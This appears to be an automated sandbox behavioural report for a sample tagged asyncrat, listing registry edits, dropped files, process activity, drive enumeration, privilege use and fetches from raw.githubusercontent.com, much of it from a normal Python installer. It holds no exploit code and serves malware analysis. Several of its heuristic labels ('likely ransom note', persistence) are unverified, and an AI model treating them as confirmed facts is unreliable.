asyncrat | 09d4308c18ecece489a51b7837968bcfc6c1273d83f5c83614bbdd119ccf6961

System Information Discovery

Processes:

python-3.12.3-amd64.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	python-3.12.3-amd64.exe

Executes dropped EXE 11 IoCs

Processes:

python-3.12.3-amd64.exepython-3.12.3-amd64.exepython-3.12.3-amd64.exepython-3.12.3-amd64.exepython.exepython.exepythonw.exepython.exepython.exepython.exepython.exe

pid	process
5816	python-3.12.3-amd64.exe
2656	python-3.12.3-amd64.exe
2880	python-3.12.3-amd64.exe
864	python-3.12.3-amd64.exe
4984	python.exe
4760	python.exe
6800	pythonw.exe
5672	python.exe
6548	python.exe
6748	python.exe
6944	python.exe

Loads dropped DLL 54 IoCs

Processes:

python-3.12.3-amd64.exepython-3.12.3-amd64.exeMsiExec.exepython.exepython.exepythonw.exepython.exepython.exepython.exepython.exe

pid	process
2656	python-3.12.3-amd64.exe
864	python-3.12.3-amd64.exe
3484	MsiExec.exe
4984	python.exe
4984	python.exe
4984	python.exe
4984	python.exe
4984	python.exe
4984	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
4760	python.exe
6800	pythonw.exe
6800	pythonw.exe
5672	python.exe
5672	python.exe
6548	python.exe
6548	python.exe
6748	python.exe
6748	python.exe
6748	python.exe
6748	python.exe
6748	python.exe
6748	python.exe
6748	python.exe
6748	python.exe
6944	python.exe
6944	python.exe
6944	python.exe
6944	python.exe
6944	python.exe
6944	python.exe
6944	python.exe
6944	python.exe

Registers COM server for autorun 1 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Processes:

msiexec.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\pyshellext.amd64.dll"	msiexec.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

Processes:

python-3.12.3-amd64.exepython-3.12.3-amd64.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\{5ee4d2b6-a5dc-4321-b6bd-3ebc98120a51} = "\"C:\\Users\\Admin\\AppData\\Local\\Package Cache\\{5ee4d2b6-a5dc-4321-b6bd-3ebc98120a51}\\python-3.12.3-amd64.exe\" /burn.runonce"	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\{5ee4d2b6-a5dc-4321-b6bd-3ebc98120a51} = "\"C:\\Users\\Admin\\AppData\\Local\\Package Cache\\{5ee4d2b6-a5dc-4321-b6bd-3ebc98120a51}\\python-3.12.3-amd64.exe\" /burn.runonce"	python-3.12.3-amd64.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 1 IoCs

Processes:

msiexec.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Python 3.12\desktop.ini	msiexec.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

msiexec.exe

description	ioc	process
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service
T1102

Processes:

flow ioc

117 raw.githubusercontent.com
118 raw.githubusercontent.com
119 raw.githubusercontent.com
120 raw.githubusercontent.com

flow	ioc
117	raw.githubusercontent.com
118	raw.githubusercontent.com
119	raw.githubusercontent.com
120	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

Processes:

msiexec.exe

description	ioc	process
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\e61c8f7.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e61c912.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{8FB3DEFF-4D86-4889-9B0A-0FE7AE90D7C9}	msiexec.exe
File opened for modification	C:\Windows\Installer\e61c92b.msi	msiexec.exe
File created	C:\Windows\Installer\e61c935.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICB8D.tmp	msiexec.exe
File created	C:\Windows\Installer\e61c8f7.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE12C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI35C.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{575FEF7A-71FE-437E-91B0-D3838C1026DA}	msiexec.exe
File opened for modification	C:\Windows\Installer\e61c8f2.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{8EB1F259-1326-4583-B383-F5C3D7C93D7D}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI222.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e61c921.msi	msiexec.exe
File created	C:\Windows\Installer\e61c939.msi	msiexec.exe
File created	C:\Windows\Installer\e61c912.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e61c8ed.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID022.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{A1839EB2-3C30-4BCD-AACF-04F6FF6C90CD}	msiexec.exe
File created	C:\Windows\Installer\e61c925.msi	msiexec.exe
File created	C:\Windows\Installer\e61c92b.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e61c93a.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICDC0.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDD24.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e61c935.msi	msiexec.exe
File created	C:\Windows\Installer\e61c93a.msi	msiexec.exe
File created	C:\Windows\Installer\e61c934.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e61c90d.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e61c917.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4B75.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e61c930.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7E2F.tmp	msiexec.exe
File created	C:\Windows\Installer\e61c8f2.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e61c91c.msi	msiexec.exe
File created	C:\Windows\Installer\e61c920.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{5C195EDE-CE8F-4C5C-A4B8-B60913B9C2B9}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8333.tmp	msiexec.exe
File created	C:\Windows\Installer\e61c917.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI62C.tmp	msiexec.exe
File created	C:\Windows\Installer\e61c92a.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{A2FC8FF0-021A-431C-826E-E4B85D3F064F}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI82D4.tmp	msiexec.exe
File created	C:\Windows\Installer\e61c916.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFD1.tmp	msiexec.exe
File created	C:\Windows\Installer\e61c926.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{837260D6-3959-452B-A557-666302BEA663}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9767.tmp	msiexec.exe
File created	C:\Windows\Installer\e61c93e.msi	msiexec.exe
File created	C:\Windows\Installer\e61c8f1.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e61c926.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5F6B.tmp	msiexec.exe
File created	C:\Windows\Installer\e61c92f.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{52ABF617-F7B4-40F9-8197-C7490DAA97A3}	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{474E5879-A9D5-4DF5-9385-ADF7E224CEC7}	msiexec.exe
File created	C:\Windows\Installer\e61c90d.msi	msiexec.exe
File created	C:\Windows\Installer\e61c921.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{3519C7D0-70D4-46F5-A0A9-3A115D73E2EC}	msiexec.exe
File created	C:\Windows\Installer\e61c911.msi	msiexec.exe
File created	C:\Windows\Installer\e61c91c.msi	msiexec.exe
File created	C:\Windows\Installer\e61c8ed.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI252F.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

firefox.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

Processes:

chrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

chrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133608787184679539"	chrome.exe

Modifies registry class 64 IoCs

Processes:

python-3.12.3-amd64.exemsiexec.exechrome.exepowershell.exepowershell.exepython-3.12.3-amd64.exechrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Installer\Dependencies\{8EB1F259-1326-4583-B383-F5C3D7C93D7D}\Dependents	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Python.File\ = "Python File"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\.pyo	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Python.ArchiveFile\shell\open	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\.pyz\ = "Python.ArchiveFile"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Installer\Dependencies\{837260D6-3959-452B-A557-666302BEA663}\Dependents	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\SniffedFolderType = "Generic"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Installer	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Installer\Dependencies\{A1839EB2-3C30-4BCD-AACF-04F6FF6C90CD}\Dependents\{5ee4d2b6-a5dc-4321-b6bd-3ebc98120a51}	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Installer\Dependencies\{8FB3DEFF-4D86-4889-9B0A-0FE7AE90D7C9}\Version = "3.12.3150.0"	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Installer\Dependencies\{5C195EDE-CE8F-4C5C-A4B8-B60913B9C2B9}\Version = "3.12.3150.0"	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2\MRUListEx = ffffffff	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Installer\Dependencies\{3519C7D0-70D4-46F5-A0A9-3A115D73E2EC}\Dependents	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Python.CompiledFile	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Installer\Dependencies\{A2FC8FF0-021A-431C-826E-E4B85D3F064F}\Version = "3.12.3150.0"	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Python.Extension	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\.pyz	msiexec.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\1	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Installer\Dependencies\{474E5879-A9D5-4DF5-9385-ADF7E224CEC7}\Dependents	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Installer\Dependencies\{575FEF7A-71FE-437E-91B0-D3838C1026DA}\DisplayName = "Python 3.12.3 Test Suite (64-bit)"	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Installer\Dependencies\{837260D6-3959-452B-A557-666302BEA663}\Dependents\{5ee4d2b6-a5dc-4321-b6bd-3ebc98120a51}	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\KnownFolderDerivedFolderType = "{885A186E-A440-4ADA-812B-DB871B942259}"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02020202	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\SniffedFolderType = "Generic"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Python.NoConFile	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Python.File\Shell\editwithidle\shell	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Python.CompiledFile\shellex	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Python.NoConArchiveFile\shell	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents	python-3.12.3-amd64.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Installer\Dependencies\{8EB1F259-1326-4583-B383-F5C3D7C93D7D}	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Installer\Dependencies\{5C195EDE-CE8F-4C5C-A4B8-B60913B9C2B9}	python-3.12.3-amd64.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Python.NoConFile\shellex\DropHandler	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\.pyc	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\NodeSlot = "3"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Python.File\Shell\editwithidle\shell\edit312	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Python.File\Shell\editwithidle\shell\edit312\command	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Installer\Dependencies\{52ABF617-F7B4-40F9-8197-C7490DAA97A3}	python-3.12.3-amd64.exe

NTFS ADS 1 IoCs

Processes:

firefox.exe

description ioc process

File created C:\Users\Admin\Downloads\PowerDecode-2.7.2.zip:Zone.Identifier firefox.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

NOTEPAD.EXE

pid process

4024 NOTEPAD.EXE

description	ioc	process
File created	C:\Users\Admin\Downloads\PowerDecode-2.7.2.zip:Zone.Identifier	firefox.exe

pid	process
4024	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exechrome.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exechrome.exemsiexec.exepowershell_ise.exepowershell.exepowershell.exe

pid	process
3916	powershell.exe
3916	powershell.exe
5828	powershell.exe
5828	powershell.exe
5828	powershell.exe
5928	chrome.exe
5928	chrome.exe
5660	powershell.exe
5660	powershell.exe
5660	powershell.exe
5912	powershell.exe
5912	powershell.exe
5912	powershell.exe
5944	powershell.exe
5944	powershell.exe
5944	powershell.exe
2396	powershell.exe
2396	powershell.exe
2396	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
396	chrome.exe
396	chrome.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
5668	msiexec.exe
4736	powershell_ise.exe
4736	powershell_ise.exe
4736	powershell_ise.exe
4736	powershell_ise.exe
2764	powershell.exe
2764	powershell.exe
2764	powershell.exe
5792	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

Processes:

chrome.exepowershell.exepowershell.exe

pid process

5192 chrome.exe
5828 powershell.exe
2764 powershell.exe

pid	process
5192	chrome.exe
5828	powershell.exe
2764	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 22 IoCs

Processes:

chrome.exe

pid	process
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe
5928	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exefirefox.exepowershell.exechrome.exe

description	pid	process
Token: SeDebugPrivilege	3916	powershell.exe
Token: SeDebugPrivilege	2856	firefox.exe
Token: SeDebugPrivilege	2856	firefox.exe
Token: SeDebugPrivilege	2856	firefox.exe
Token: SeDebugPrivilege	5828	powershell.exe
Token: SeDebugPrivilege	2856	firefox.exe
Token: SeDebugPrivilege	2856	firefox.exe
Token: SeDebugPrivilege	2856	firefox.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
Token: SeCreatePagefilePrivilege	5928	chrome.exe
Token: SeShutdownPrivilege	5928	chrome.exe
